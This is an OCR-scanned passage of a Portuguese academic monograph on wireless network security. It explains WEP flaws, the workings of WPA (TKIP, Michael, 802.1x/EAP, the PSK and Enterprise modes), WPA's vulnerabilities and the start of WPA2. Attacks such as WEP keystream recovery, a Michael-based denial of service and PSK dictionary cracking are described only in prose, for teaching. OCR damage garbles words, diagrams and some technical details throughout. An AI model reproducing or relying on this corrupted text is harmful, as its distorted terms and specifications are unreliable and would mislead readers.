mesmo que todos os valores sejam usados sem &gpeticmesmo valor sera
utiizado novamente ao final de 7 horas, assim uatamte podera observar
passivamente o trafego e identificar quando o megahar serd usado novamente.
Essa reutilizacdo do vetor ir4, em algum momerduelar a chave, pois alguns

pacotes tém conteddo previsivel, com@efname’, “login”, “password”, varios
espagos em branco em mensagens de email, dispai€Mie REQUEST e
ICMP_REPLY etc.” RUFINO, 2005, p.67).

Possiveis atacantes (de modo completamente paggiden ndo obter um padréo
de pacote que permita descobrir a chave, entaapatiear de forma mais ativa e forcar uma
resposta conhecida. Podem, por exemplo, enviarinstiacdoping para algum dispositivo
cliente da rede alvo. Esta envia pacotes ICMEnet Control Message Protocol) ao destino
e, como tem seu conteddo de resposta conhecidese mesmento a chave sera revelada
(RUFINO, 2005). Tal fato é possivel por meio darap@o XOR utilizada no processo.
Obtendo-se um pacote em texto claro e 0 mesmoeadado, aplica-se um XOR a estes,
tendo assim &eystream utilizado para a cifragem. A partir de entdo sdohecidos o pacote
criptografado, o IV (enviado em texto claro) e @gia em texto claro, portanto para uma
operagdo de regra de trés chega-se a informac&jadas a chave estatica. Um cenario

possivel para obtencdo destes dados € mostradoia se

a) Um dispositivo cliente tenta conectar a rede;

b) O ponto de acesso envia para o dispositivo cliertesafio em texto claro;

c) O dispositivo cliente recebe o pacote contendosafda® cifra este com a chave
WEP e envia para o ponto de acesso;

d) O atacante, que esta analisando o trafego, extiai(que fora enviado em texto
claro) e a chave, realizando uma operagdo XOR erdesafio em texto claro e a
resposta do dispositivo cliente (que esté criptfagia);

e) A partir de entdo, o atacante pode requisitar ssacea rede, ja que possui a chave
utilizada. Dessa forma, foi possivel quebrar a idenicialidade e a autenticidade

oferecida pelo padrdo WEP, ja que a chave utiliZaaanesma para ambos.
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Diversos softwares que efetuam a quebra da criptografia WEP sdo ocwmhts
utilizando as mais diversas formas de ataqueseRashente serdo abordados alguns dos
softwares utilizados para tal fim, demonstrandossgaracteristicas e funcionamento,
aplicando estes a um cenario real onde se realimartnapeamento de pontos de acesso e a

tentativa de quebra desse protocolo.

2.2 WPA

Abreviatura pardM-Fi Protected Access, 0 WPA surgiu de um esfor¢o conjunto de
membros daM-Fi Alliance e do IEEE, empenhados em aumentar o nivel de assgudas
redeswi-fi, visando sanar as vulnerabilidades apresentadasppstocolo WEP. O WPA
possui uma historia interessante de como se tarnopadrdo. Quando a seguranca do WEP
foi quebrada a industria pressionou o IEEE paraegte fosse corrigido, que, por sua vez,
divulgou a criacdo de um novo padrao de seguraegandinado 802.11i. Porém este padréo
estava sendo desenvolvido muito lentamente, eessielade por uma seguranga mais robusta
era extremamente crescente. Com esse cenarioda denequipamentas-fi decaiu, o que
aumentou ainda mais a pressdo ao IEEE, pois atiralisecessitava de um padrdo de
seguranca mais robusto para aplicar a seus equip@sn&m 2003, entdo, \Wi-Fi Alliance
decidiu criar um subconjunto do padrao 802.11ipdanado WPA. Este foi criado com base
no que estava pronto do padréo 802.11i, sendaceatd no padrdo WPA. Os dispositivos que
possuem a interoperabilidade WPA testada e cadidigpelaM-Fi Alliance sdo identificados
por um selo, conforme mostra o exemplo da Figuta 2.

Wi )
CERTIFIED
Q Interoperable with:

2.4 GHz Band 11 Mbps 7]
54 Mbps ]

5GHz Band 54 Mbps [

Wi-Fi Protected Access™ [

Figura 2.4 - Selo de certificacédo de interoperdadeW-Fi.
Fonte: WPA (2003, p.2).
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2.2.1 Caracteristicas

Como o proprio nome sugere, o padrao WPA preteadengr um acesso protegido
a redeswi-fi. Prové autenticacdo e criptografia, propondo argar de confidencialidade,
autenticidade e integridade em rededi. Varias mudancas e avancos foram incorporados a
esse protocolo, porém boa parte deles exige aséelde outros elementos a infra-estrutura
existente. No WPA, diferentemente do WEP, nao disfdonivel suporte para conexdes Ad-
hoc (com a ratificacdo do protocolo 802.11i, comd@como WPA2, 0 suporte a esse tipo de
conexdao se faz presente). Um dos pontos positesie gorotocolo é o de ser compativel com
0 mesmaardware utilizado pelo WEP. Dessa forma a atualizacdo dePVpara WPA pode
ser realizada através da atualizacdofidoware dos dispositivoswi-fi e dos softwares

utilizados na comunicacgéo, ndo necessitando mudanacanfra-estrutura derdware.

“Atua em duas areas distintas: a primeira, que stgsstituir completamente o WEP,
trata da cifracdo dos dados, objetivando garantiurigacidade das informacdes
trafegadas, e a segunda foca a autenticacdo doriaus(@ea nao coberta
efetivamente pelo padrao WEP). Utiliza, para ispadrdes 802.1x e EAP
(Extensible Authentication Protocol).” (RUFINO, 2005, p.37).

Uma grande parte do problema de confiabilidadetenis no WEP refere-se aos
mecanismos de criptografia utilizados. Ao analsducdes para os problemas de criptografia
do WEP, encontraram-se restricbes na criacdo dpratacolo mais robusto. Segundo Earle

(2006), as restricbes encontradas foram:

» Baixo poder de processamento dos chips existeosealgoritmos deveriam ser
leves para ser possivel a execucdo nos disposifivwsodavam o WEP.

* Necessidade de manter compatibilidade com o padr&io

O WPA avanca nos pontos mais vulneraveis, quassrsajcombinacdo de algoritmo
e temporalidade da chave. Este utiliza um esquesnandriptacdo otimizado, conhecido
como TKIP [Temporal Key Integrity Protocol) (EARLE, 2006). O TKIP surgiu de uma idéia
proposta por Russ Housley e Doug Whiting ao IEEfizd o mesmo algoritmo de cifragem
RC4 utilizado pelo WEP, porém adiciona diversosementos para suprir as deficiéncias do
WEP. E responsavel pela geréncia de chaves tengmoréisadas pelos dispositivos
comunicantes, possibilitando a preservacao do deduhave) mediante a troca constante da
chave (conhecido comoekey), visto que um dos problemas do WEP € exatamente a
utilizagdo de chaves estaticas, e as partes que s@o atravessarem a rede em texto claro. As
chaves utilizadas sédo geradas dinamicamente ébdisis pelo servidor de autenticacédo e,
além disso, o TKIP incrementa o tamanho da chavéOdpara 128 bits (WPA, 2003). O
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TKIP utiliza um vetor de inicializagao (IV) com tamho de 48 bits, permitindo assim uma
importante elevacdo na quantidade de combinacGesveds, tornando ataques baseados na
repeticdo de valores dos vetores praticamente isiNgs, exigindo processamento fora dos
padrées de mercado atuais (EARLE, 2006).

Para tratar da integridade dos pacotes trafegaalosde, o TKIP implementa o MIC
(Message Integrity Check), também conhecido comiichael (em virtude da construcdo
fonética da sigla). Este foi desenvolvido para pnavataques de captura de pacotes de dados
gue possam ser alterados e reenviados. O MIC pnmeéfuncdo matematica forte em que o
receptor e o transmissor calculam e comparam @ resultado for diferente, é assumido que
os dados foram alterados e o pacote é descartadocdmo base uma chave de integridade,
o enderecamento MAC de destino (receptor), o epderento MAC da origem (transmissor),

a prioridade (utilizado para fins de »Se a carga Util gayload) (EARLE, 2006).
Diferentemente do CRC-32, utiliza um algoritmo hdesh para efetuar os calculos sobre a
carga til e o cabecalho do frame. O MIC é tambgéptografado dentro da por¢céo de dados,

0 que significa que ndo pode ser obtido atravésagtura de pacotes, sendo inserido entre 0s
dados e o ICV. O TKIP mantém o processo do WEPenesglelo onde é calculado um ICV,

ou seja, 0 CRC-32 efetua a sua funcao sobre os@daddMIC. Previne ataques de repeticao,
gue sdo ataques em (inames repetidos, capturados por um atacante, sdo eriemo o
intuito de obter acesso a rede ou alterar dadssriimdo para isto um contador filames em
cadaframe. A cadaframe esperadadframes com numeracao anterior a este sao descartados. O
MIC é um algoritmo leve, que necessita de baixoepatke processamento e possui um

tamanho de 64 bits.

A fim de combater ataques de modificacdo de mensage TKIP e o MIC
implementam um mecanismo de interrupcdo da comgéigaou seja, se em menos de um
segundo ocorrerem duas falhas de MIC, o ponto dssaccessa suas comunicacoes,
permanecendo por mais sessenta segundos desl@sslm que retorna sua comunicacao,
este requisita a todos os dispositivos clientesrgsi@belecam a comunicacgéo, alterando suas
chavesi(ekey) (EARLE, 2006).

Como ha uma grande diversidade em ambientes anderedewi-fi possa existir
(ambientes domésticos, pequenos escritorios, majou-se que o WPA pudesse ter também
diferentes modelos de seguranca para uma melhquaci&o as diferentes necessidades. O

“ Quality of Service, qualidade de servico implementada em redes.
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padrdo WPA suporta dois métodos de autenticac@rengiamento de chaves: um voltado
para pequenas redes e/ou de uso doméstico (SO&Mall Office/Home Office), as quais
possuem um trafego reduzido de dados e ndo necesd# seguranca reforcada (ou mesmo
em virtude da mobilidade e facilidade que a redmssta) e outro que diz respeito as redes

corporativas, as quais necessitam de uma segum@ngsta e confiavel.

No primeiro método, é utilizado um esquema de chawvepartilhadas previamente
conhecido comdreshared Key (WPA-PSK, ou WPAPersonal), onde existe uma chave
compartilhada, conhecida corMaster Key, responsavel pelo reconhecimento do dispositivo
cliente pelo ponto de acesso. A chave de criptigiaicial € derivada do processo de
autenticacdo, que verifica se ambos interlocutopessuem a chave previamente
compartilhada. O PSK pode ser um numero de 256hitsma frasepassphrase) de 8 a 63
bytes (aconselha-se a utilizacdo gmssphrase maior que 20bytes) (EARLE, 2006).
Apresenta problemas de escalabilidade e de gemeesta de chaves, em virtude de,
igualmente ao WEP, o padrdo n&o definir mecanigmos distribuicdo da chave-mestra (que

ocorre normalmente de forma manual).

O segundo método € conhecido como Infra-EstrudWBA-Enterprise), que, além
da seguranca, aborda a questdo de autenticacdsuddou(adrea ndo coberta efetivamente
pelo WEP), utilizando protocolos de autenticagcdmgmente a servidores de autenticacdo em
sua estrutura. Este € o mais seguro e prové a nwpranmtidade de administracdo dos
dispositivos clientes (EARLE, 2006). Quando utidieaapropriadamente, o WPA prové um
alto nivel de garantia de que os dados permanegerdegidos e que somente usuarios

autorizados podem acessar a rede (WPA, 2003).

Um modelo para cobrir a autenticagcdo também fanakef no WPA. A autenticacao
com WPA € uma combinacéo de autenticagdan system e autenticacdo 802.1x que utiliza

duas fases:

* A primeira fase utiliza a autenticacépen system e indica ao dispositivo cliente
gue pode enviar pacotes ao ponto de acesso;
* A segunda fase utiliza a autenticacdo 802.1x peraep uma autenticacdo em

nivel de usuario.

O WPA utliza o padrdo de autenticacdo 802.1x, greevé controle de acesso
baseado em porta e autenticacdo muatua entre ossiligps clientes e o0 ponto de acesso,

através de um servidor de autenticacdo. O padrad8foi ratificado pelo IEEE em 2001, e
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pode ser utilizado tanto em redes cabeadas quamteaeswi-fi. Utiliza o protocolo EAP
(Extensible Authentication Protocol), que permite integrar solu¢cdes de autenticacdo ja
conhecidas. O EAP permite varios métodos de autgdo, sejam estes em forma de
certificados digitais (muito utilizado hoje em seanca da internet), usuaritogin) e senha
anicos,smart cards ou outra credencial de identidade. Funciona asrale umframework
generalizado, possibilitando a escolha do métodeatico a ser utilizado. Quando o EAP é
invocado por um ponto de acesso através do pratd@®.1x, seus metodos provém um
mecanismo de autenticacdo segura e negociam sezpueam PMK Pairwise Master Key, o

par de chaves utilizado na comunicacao) entre podigvo cliente e o ponto de acesso. O
PMK entdo pode ser utilizado para a sessao depgagdio da comunicacado. Os métodos mais
comuns utilizados e que operam em uma kedie sdo: EAP-TLS (EAP Transport Layer
Security), EAP-TTLS (EAP-Tunneled Transport Layer Security), PEAP Protected EAP) e
LEAP (LightWeight EAP) (EARLE, 2006). A seguir uma breve descricadais:

* EAP-TLS (Transport Layer Security): a autenticacdo no modelo TLS é realizada
mediante troca inicial de certificados digitais renb dispositivo cliente e o
servidor de autenticacédo (assinados pela mesmaidade certificadora), por
intermédio do ponto de acesso;

 EAP-TTLS (Tunneled Transport Layer Security): € uma extensdo do modelo
TLS, que cria um tanel criptografico entre o dispes cliente e o servidor de
autenticacdo. Este tunel é criado exatamente pasegarar 0 bindémio
usuario/senha que é utilizado na autenticacdo. QSTdria apenas o tunel,
ficando a cargo de outro método a autenticacaavafattilizado juntamente ao
TTLS. Para isso, estdo disponiveis atualmente: FZsRsword Authentication
Protocol), CHAP (Challenge-Handshake Authentication Protocol) e MSCHAP
(um CHAP implementado peMicrosoft®);

 PEAP Protected EAP): Oferece autenticacdo baseada em senha e gx& 0
servidor de autenticacdo possua um certificadotaligiporém n&o exige
certificados nos dispositivos clientes;

« LEAP (LightWeight EAP): Solucdo proprietaria desenvolvida pelo CI$CO
utiliza o meétodo de usuaridofin) e senha para transmitir a identidade do

dispositivo cliente ao servidor de autenticacéo.

® Microsoft Corporation. Disponivel em http://www.microsoft.com.
® Cisco Systems, Inc. Disponivel em http://www.cisco.com.



52

Objetivando a seguranga entre o ponto de acesssesvlor de autenticagédo, o
padrdo WPA inclui o protocolo RADIUS. Este protacdlunciona criando um tunel
criptografado entre o ponto de acesso (autentifagloo servidor de autenticacdo (que
normalmente é um servidor RADIUS). Esse tunellizatio para enviar todas as informacdes
de quem é o usudrio, 0 que o usuario esta autoreadessar e 0 que o atual usudrio acessou.
Para iniciar este tunel criptogréafico, uma frasesemha (chamado de segredo compartilhado,
ou shared secret) se faz necessario. Este segredo deve estarziagdalino ponto de acesso
participante da rede RADIUS e no servidor RADIUSndJvez que o segredo é corretamente

configurado, inicia-se a comunicacgdo segura.

A vantagem em se utilizar um servidor de autegfioaé que se pode integrar
padrbes de autenticacéo tradicionais, como o RADRJBcorporar novos usos (autenticar
usuarios de rede sem fio) a um ambiente ja exesteNem disso, o servidor RADIUS
permite a integracdo com banco de dados e/ou eerdie diretorios, mantendo assim uma
base de dados centralizada, podendo autenticaudriosqualquer que seja seu meio de

acesso (redes cabeadas, acesso discadowiefigstc.).

2.2.2 Funcionamento

Como citado anteriormente, o WPA prové duas forndas autenticacdo e
gerenciamento de chaves: WPA-PSK e WHERerprise.

7

No WPA-PSK, a autenticacdo é realizada de formalasira utilizada no padrao
WEP. Como deve haver uma chave conhecida previemgmt ambos interlocutores, a
autenticacao é realizada diretamente entre o disfmosliente e o ponto de acesso, utilizando
a técnica dehallenge-response. Depois de efetuada a autenticagdo, € iniciadmoepso de
criptografia e integridade dos dados, o qual atibzencriptacdo TKIP. Quando utilizado o
PSK, cada dispositivo cliente cria, a partir davehmestra, uma subseqiéncia de chaves. Esta
chave mestra é a mesma em toda a rede, assim apM(ER, porém é utilizada para criar
uma chave baseada na sessao de cada cliente. &Si0p cada sessdo da comunicagao
utilizara uma chave diferente (WPA, 2003). O mét&eK prové aos usuarios de redes
SOHO a mesma encriptacao forte, construcdo de shpoe pacote e gerenciamento de
chaves que o WPAEnterprise. Na Figura 2.5 € demonstrado um cenario de auosedto
WPA-PSK.
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Figura 2.5 - Autenticacgdo utilizando WPA-PSK.
Fonte: WPA (2003, p.6).

O WPAEnterprise utiliza-se de um forte e seguro esquema de achedid
implementando o padrédo 802.1x e o protocolo EAPssBeforma, tém-se as seguintes

entidades relacionadas no processo (EARLE, 2006):

e Suplicante: é o usuério a ser autenticado. Podarséaptop, PDA ou qualquer
dispositivo que tenha uma interface de reté;

» Autenticador: intermediario na transacdo entre plicante e o servidor de
autenticacdo. Em red@s-fi é representado pelo ponto de acesso. O autenticado
nao conhece o método utilizado para a autenticasdie,simplesmente repassa as
requisicoes do suplicante ao servidor de auter@ia;ac

e Servidor de Autenticacdo: como 0 proprio nome sigér o servidor de
autenticacdo do suplicante. Além disso, é o resp@hspor negociar com o
suplicante as chaves utilizadas no processo deogrgdia e integridade dos

dados. E, notadamente, um servidor RADIUS.

Para que a comunicacdo entre estes dispositivasreajizada da maneira mais

segura possivel, os protocolos definidos paraeadomunicagédo sao:

 Para a comunicacdo entre o suplicante e o autdaticado utilizados os
protocolos 802.1x e EAP;

» Para a comunicacédo entre o autenticador e o semdautenticacdo, € utilizado o
protocolo RADIUS.
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O processo de autenticagdo neste modelo funcionasetpuinte maneira:
primeiramente, o suplicante deve se conectar aenticador, que é o responsavel por
fornecer acesso aos recursos da rede. O autenticz@tém o controle sobre as portas
utilizadas por cada suplicante, permitindo ou ndacesso a rede, dependendo da resposta
dada pelo servidor de autenticagcdo. Sendo assiautenticador envia ao servidor de
autenticagcdo um pedido de acesso, o qual retorna wo pedido de identificagcdo do
suplicante. Desta forma, o autenticador requigitauplicante a sua identificacdo, que retorna
com sua identificacéo (seja ela por certificadoan®/senha, etc.). O autenticador repassa ao
servidor de autenticacdo o que fora recebido e @s#a a identificacdo, retornando ao
autenticador a confirmacao (ou ndo) da identidbideFigura 2.6, € demonstrado um cenario

de autenticacdo WPEnterprise.

Internat
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Figura 2.6 - Autenticacdo WPBRterprise.
Fonte: WPA (2003, p.5).

Para resolver alguns problemas de criptografia dBPWno WPA, o TKIP
incrementa o tamanho da chave utilizada de 40 h28abits que, diferentemente do WEP,
nao utiliza apenas uma chave estatica, mas chawvessgo geradas dinamicamente e
distribuidas pelo servidor de autenticagdo. O TKitiiza hierarquia de chaves e uma
metodologia de geréncia de chaves para garantiregi@s ndo possam ser conhecidas por
possiveis atacantes. O frame EAPRd&y (EAP over LAN-Key), implementando pelo

protocolo EAP, é utilizado para transportar as rmfacdes de troca de chave entre o
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autenticador e o suplicante, sendo este o maisrseglacionado ao protocolo EAP
(TECHNET, 2004).

Para que estas chaves sejam geradas e gerenmatasguranca, o protocolo TKIP

utiliza um framework 801.2x/EAP. ApOs o servidor de autenticacdo aceitaredencial do

usuario, utiliza o 802.1x para gerar yoairwise key para aquela sessdo. O TKIP distribui,

entdo, essa chave para o dispositivo cliente e@pmto de acesso (autenticador), definindo

uma hierarquia de chaves e um sistema de gerenui@nuilizando goairwise key para gerar

dinamicamente uma unica chave de criptografia, papaografar os pacotes de dados que

serdo transmitidos durante a sessdo do usuérifiyrsando as partes envolvidas (WPA,

2003). O WPA utiliza um grupo de quatro chavesrdifees, conhecido comBairwise

Temporal Keys (PTK) para cada par cliente - ponto de acess@ &ae haja a derivacdo do
PTK, o WPA utiliza os seguintes valores (TECHNEJ02):

Pairwise Master Key (PMK): uma chave de 256 bits derivada do procebkso
autenticacdo EAP-TLS ou PEAP;

Nonce 1: um numero aleatorio, determinado pelogpdatacesso;

MAC 1: o enderecamento MAC do ponto de acesso;

Nonce 2: um numero aleat6rio, determinado peloadisipo cliente;

MAC 2: o enderegamento MAC do dispositivo cliente.

O grupo PTK utilizado para a transmissao de dadpara as mensagens EAPOL-

Key é composto pelas seguintes chaves (TECHNET, 2004):

Data Encryption Key: uma chave de 128 bits utilizada para a encriptaig
frames;

Data Integrity Key: uma chave de 128 bits utilizada para calcular I€ Mos
frames;

EAPOL-Key Encryption Key: uma chave de 128 bits utilizada para encriptagio
mensagens EAPOKey;,

EAPOL-Key Intergrity Key: uma chave de 128 bits utilizada para calcularl@ M
das mensagens EAP{ey.

Sendo assim, o PMK é determinado pelo dispositiente e pelo servidor de

autenticacdo, que o envia para o ponto de acesa@stda mensagem de aceitacdo de acesso.

Apos ter recebido o PMK, o ponto de acesso inidi@@a da chave temporaérporal key),

que é procedida da seguinte forma:
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* A mensagem EAPOK=y, enviada pelo ponto, de acesso contém o Nonce 1 e o
MAC 1. Em virtude de o PTK n&o ter sido determinaté o momento, a
mensagem € enviada em texto claro e sem protecétedgidade. A partir de
entdo, o dispositivo cliente possui todos os eléasenecessario para calcular o
PTK;

* A mensagem EAPOKey, enviada pelo dispositivo cliente, contém o Nonge 2
MAC 2 e o MIC. Sendo que o dispositivo cliente aida o PTK, este calcula o
MIC utilizando o EAPOLKey Integrity Key. O ponto de acesso utiliza os valores
do Nonce 2 e MAC 2 para derivar o PTK e validaatovdo MIC;

* A mensagem EAPOKey, enviada pelo ponto de acesso, entdo, contém oeMIC
um numero de inicio, indicando que o ponto de aces$a pronto para enviar
dados criptografados e mensagens EAR®@Y-

* A mensagem EAPOKey, enviada pelo dispositivo cliente, também contém o
MIC e um numero de inicio, indicando que tal est@nip para enviar dados

criptografados e mensagens EAPR&y.

Esse grupo de mensagens efetua a troca dos valecessarios para determinar o
PTK, verifica se cada dispositiwa-fi possui conhecimento do PMK (verificando o valor do
MIC), e indica que cada um dos interlocutores gstanto para iniciar a transmissao

criptografada, garantindo também que tal transmis=s@& sua integridade preservada.

A partir de entdo, inicia-se o processo de comgamariptografada. Para isso, o
WPA implementa o TKIP, que funciona da seguintenfor primeiramente, é realizada uma
combinacdo de chaves utilizando o IV, o enderecam®AC de destino Qestination
Address (DA)) e oData Encryption Key, gerando assim uma chave de criptografia por pacot
chamada de TTAKTKIP-mixed Transmit Address and Key). Depois de obtido o TTAK, este
€ concatenado ao V. Este resultado serve de enpach o algoritmo gerador de niumeros
pseudo-aleatodrios definido pelo RC4, o PRNG gerticg uma sequiéncia de biksystream)
de mesmo tamanho que o pacote a ser cifrado. Betegpé composto pelos dados a serem
transmitidos, o MIC correspondente e o resultadapl@acdo do CRC-32 a essa informacéo
(dados + MIC). Paralelamente a isso, é calculadmlor MIC do frame a ser enviado,
visando a garantia da integridade dos dados. Temn¥&C [TKIP Sequence Counter), criado
a partir do enderecamento MAC de origeBoufce Address (SA)), enderecamento MAC de
destino (DA), prioridade e dadogafload). Sendo assim, o TSC eData Integrity Key sédo
inseridos no algoritmo de integridade de datitishael para produzir o valor do MIC.
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Tecnicamente, o IV continua sendo representadaimocampo IV de 24 bits, porém o TKIP
estende o0 espaco do IV, criando assim um novo caimpoaddeExtended IV de 24 bits.

Tem-se entdo keystream e oframe completo a ser cifrado. Dessa forma, € aplicada
uma operacdo XOR (operacdo “OU Exclusivo”) a ediesesultado dessa operacdo XOR
constituird no pacote cifrado a ser transmitidop&a que o receptor conheca o IV que foi
utilizado em tal processo, este é inserido no cdbego pacote a ser enviado, em texto claro.
A partir de entdo, o pacote esta pronto para sea@m através do ar (EARLE, 2006). Na
Figura 2.7 € demonstrado o esquema de criptogeafitegridade utilizado pelo transmissor
no padrao WPA (TECHNET, 2004).

TRANSMISSOR
IV / DA/ Data Encryption Key T DA + SA + Prioridade + Dados
¥ v
Combinagio | TSC + Data Integrity Key t‘
de chaves b O S S
. b 4 A4
IV |+ TTAK 1
SO N MICHAEL
L 4
Algoritmo
RC4 ICV
(aplicado CRC-32
A
XOR

Keystream b@ Dados MIC ICV

Cabegalho v Ext. IV CRIPTOGRAFADO
o
[}
I
I

¥

Interface wireless

Figura 2.7 - Esquema de criptografia e integridza&/PA (Transmissor).

Na recepcéo do pacote, o receptor efetua o processiso para descriptografar o
pacote e ter acesso a informacédo que fora tramsmAi partir do pacote, extrai o valor do IV
(que fora transmitido em texto claro) e, possuindodados necessarios e sendo as chaves

conhecidas por tal, efetua os calculos das secaguntlizadas no processo.

Entdo é gerada novamente a seqUéncia de bits radsatie mesmo tamanho do
pacote keystream) e, utilizando a forma inversa do algoritmo RC4edlizada uma operacao
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XOR com esta sequéncia e o pacote cifrado, tramsimdo assim o texto cifrado em texto
claro. Sendo assim, o CRC-32 é aplicado aos dadoMEC e comparado com o valor do
ICV que fora recebido, para garantir que os esliesforam corrompidos e/ou alterados. Por
final, utilizando os dados necessarios, € geradalar do MIC e comparado ao inserido no
pacote recebido. Se os valores forem idénticogcotp é aceito e faz-se a leitura dos dados,
caso contrario o pacote é descartado. A Figurad@mBonstra o esquema de criptografia e
integridade utilizado pelo receptor, utilizandoaml@o WPA (TECHNET, 2004).

RECEPTOR
Interface wireless
|
1
1
1
: i ¥
Cabegalho v Ext. IV CRIPTOGRAFADO
A
IV/ DA/ Data Encryption Keyl DA + SA + Prioridade + Dados < Dades
X v
Combinagio | TSC | Data Integrity Key 1
de chaves T S U S s v
v v v
v |+ Trakt
. . e MICHAEL
h 4
Algoritmo
RC4
v XOR v
Keystream .@. CRIPTOGRAFADO
Comparagio
4 v
Dados MIC | ICV
Y W
i
ICV

(aplicado CRC-32 Comparacio

Figura 2.8 - Esquema de criptografia e integrida®/PA (Receptor).

2.2.3 Vulnerabilidades

O WPA teve seu principio baseado em sanar as \alliidades do WEP, uma vez
que este protocolo é extremamente fragil e sustetiataques. Ao decorrer da especificacao
do WPA, pode-se notar uma importante elevacao garaeca implementada as redesfi
gue utilizam este. Pode-se notar, também, que lagrabilidades do WEP foram, em sua

maioria, sanadas pelo desenho do protocolo WPA.
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“A despeito de o WPA ter caracteristicas de segaranperiores as do WEP, ainda
assim apresenta algumas vulnerabilidades ja refasta que devem ser conhecidas
para que o seu impacto possa ser minimizado.” (ROFR006, p. 68).

Um dos problemas do WPA refere-se a um tipo deuatagle DoS Qenial of
Service) que, embora nédo tratado pelos administradore®dke com devida importancia, é
comum e extremamente prejudicial. Normalmente, sestéministradores mantém suas
atencbes voltadas a impedir que possiveis atacaoEsam roubar dados trafegados ou
utilizar o acesso a internet, e ndo imaginam queatavante possa simplesmente prover um
ataque de negacdo de servico a rede, ndo tendageamtalguma, mas gerando um enorme
transtorno no funcionamento da rede. Este tipotdgua pode ser realizado em virtude de
uma pequena particularidade do MIKZi¢hael). Relembrando, se em menos de um segundo
ocorrerem duas falhas de MIC, o ponto de acessasms comunicacdes, permanecendo
por mais sessenta segundos desligado. Assim quaetsua comunicagao, este requisita a
todos os dispositivos clientes que restabelecapmnaugicacao alterando suas chaveke)
(EARLE, 2006). Sendo assim, torna-se claro a piisiside de um atacante prover ataque de
DoS a uma rede que utiliza WPA. Este precisa capalgum pacote que esteja trafegando na
rede, altera-lo e envia-lo novamente ao ponto desacduas vezes a cada segundo, fazendo
com que as comunicagdes do ponto de acesso (elelairé em si) cessem, permanecendo
dessa forma por alguns instantes. E isso poderagagigainda mais se o atacante persistir no
atague, enviando pacotes a cada periodo de terspdp jue desta forma a rede né&o

consegue comunicacao efetiva.

Em redes que utilizam o WPBaterprise ndo ha problemas reportados com
referéncia as chaves utilizadas, uma vez que f&ados processos dinamicos de definicdo
destas para os dispositivos cliente e pontos desacorém redes que utilizam o WPA-PSK
sdo vulneraveis a ataques de forca bruta ou dicmnpois o0 atacante testa senhas em
sequéncia e/ou palavras comuns (dicionario), ja mpsse método deve-se conhecer uma
chave previamente compartilhada. Devido ao fatoaligins administradores utilizarem
senhas pequenas ou de facil adivinhacdo (é acdnstlntilizar senhas maiores que 20
bytes), isso pode facilitar o trabalho de um atacansetemtativa de quebrar a chave WPA.
Este tipo de ataque pode ocorrer devido ao fatasdemformacdes requeridas para criar e
verificar a chave de sessdo serem transmitidasreatcast (EARLE, 2006). Um atacante
necessita, porem, de um grande volume de infornsagdbre a rede, incluindo os pacotes
referentes a negociacdo do PMK, o que torna gstedié ataque extremamente trabalhoso.

Para facilitar essa captura de pacotes, o atapadeforcar o cliente a re-autenticar no ponto
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de acesso (um tipo de ataque de DoS) e capturpaases referentes a negociacao das
chaves e, a partir de entéo, efetuar o ataquercie fouta ou dicionario.

Assim como no WEP, outro problema relacionado asveh utilizadas pelos
dispositivos clientes (utilizando WPA-PSK) € a farmle armazenamento destas no cliente.
Como o protocolo ndo define nenhum método paragsfn na guarda da chave, esta é
armazenada de forma legivel, o que torna um anwienlneravel caso um cliente que

componha a rede seja comprometido (EARLE, 2006).

E para complementar (ndo sendo exatamente umarahiidade, mas sim um fator
negativo), tem-se o fato de que o desempenho apaelee pelo WPA € inferior ao
desempenho apresentado quando utilizado o WERaloginte em virtude de este ser muito
mais robusto diante de seu predecessor. Porémajgemmas implementacoes, este € o fator
determinante na escolha da seguranca aplicadayipaise obter um desempenho maior para

atender as necessidades especificas da rede.

2.3 WPA2 (802.11i)

ApoOs a ratificacdo do padrédo IEEE 802.11i em 2@0Wi-Fi Alliance necessitava
continuar o investimento inicial realizado sobreWPA. O padrdo 802.11i substitui
formalmente o WEP e outras caracteristicas de apgardo padréo original 802.11. Sendo
assim, o WPA2 & uma certificacdo de produto didplrada peloWi-Fi Alliance, que
certifica os equipamentos wireless compativeis copadrdo 802.11i. Pode-se fazer uma
analogia de que o WPA2 é o nome comercial do pa@adlli em redewi-fi. O principal
objetivo do WPA2 é suportar as caracteristicas@ui¢s de seguranca do padréo 802.11i que
nao estao incluidas nos produtos que suportam V¥B#m como o WPA, o WPA2 prové
autenticacdo e criptografia, propondo a garantiacdefidencialidade, autenticidade e

integridade em redes-fi.

O WPAZ2 utiliza diversos padrdes, protocolos e difras que foram definidos dentro
ou fora do desenho 802.11i, ou seja, alguns déssm® definidos dentro de seus proprios
documentos e outros foram oficialmente criados rdedb documento 802.11i (EARLE,
2006). RADIUS, 8021.1x, EAP, TKIP, AER\dvanced Encryption System) e RSN Robust
Security Network) séao alguns exemplos de protocolos e padroesadds no WPA2. Oferece
ambos os modos de operadaaterprise (Infra-Estrutura) ePersonal (Preshared Key). O
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WPA2 também suporta a mistura de dispositivos @gmue utilizam WPA2, WPA ou WEP

e operam no mesmo ambiente.

Sua principal diferenca em relacdo ao WPA é o sapoutilizacdo do AES CCMP.
O AES € um algoritmo de cifragem de blocos em tdmodixo que permite a utilizacdo de
chaves de 128, 192 ou 256 bits, podendo ser aplieaddiferentes modos. O AES trabalha
com operacdes de XOR entre os blocos e a chavanf2empdo o bloco em uma matriz,
realiza trocas circulares em cada linha e promawa mistura entre as colunas da matriz. O
modo do AES utilizado pelo padrdao WPA2 € o protoc@bunter Mode with Cipher Block
Chaining-Message Authentication Code (CBC-MAC), também conhecido como CCMP. O
CCMP implementa confidencialidade (criptografiahtegridade dos dados, comMessage
Authentication Code (MAC) provendo a mesma funcionalidade do MIC méitio pelo TKIP
(EARLE, 2006). No AES CCMP, o IV foi substituidorpem campadPacket Number de 48
bits. A utilizacdo do AES CCMP promove a necessdde novdardware, capaz de realizar
0 processamento criptografico, sendo que os dispmsicompativeis com o padrao WPA2
devem possuir um co-processador para realizarlosla@a criptograficos. O AES também é
suportado pelo WPA, porém é limitado as caracteastde processamento dos dispositivos.
O National Institute of Sandards and Technology’ (NIST) garante que, um computador
imaginario que fosse capaz de quebrar o algoritrB® ata Encrypt Sandard) em um
segundo, necessitaria de cento e quarenta e nibMe$r de anos para violar uma chave AES
de 128 bits.

Também implementa Bobust Security Network (RSN), que foi criado como parte
do padrdo 802.11i. E utilizado para negociac¢éo niicéd de autenticacdo e criptografia,
negociando o tipo de criptografia que o clienteost#y assim como o tipo de criptografia que
€ requerido, baseado nas politicas de seguranB&NDespecifica a autenticacdo do usuario,
utilizando o 802.1x e a criptografia dos dadosizaatiido o TKIP ou o AES CCMP. O
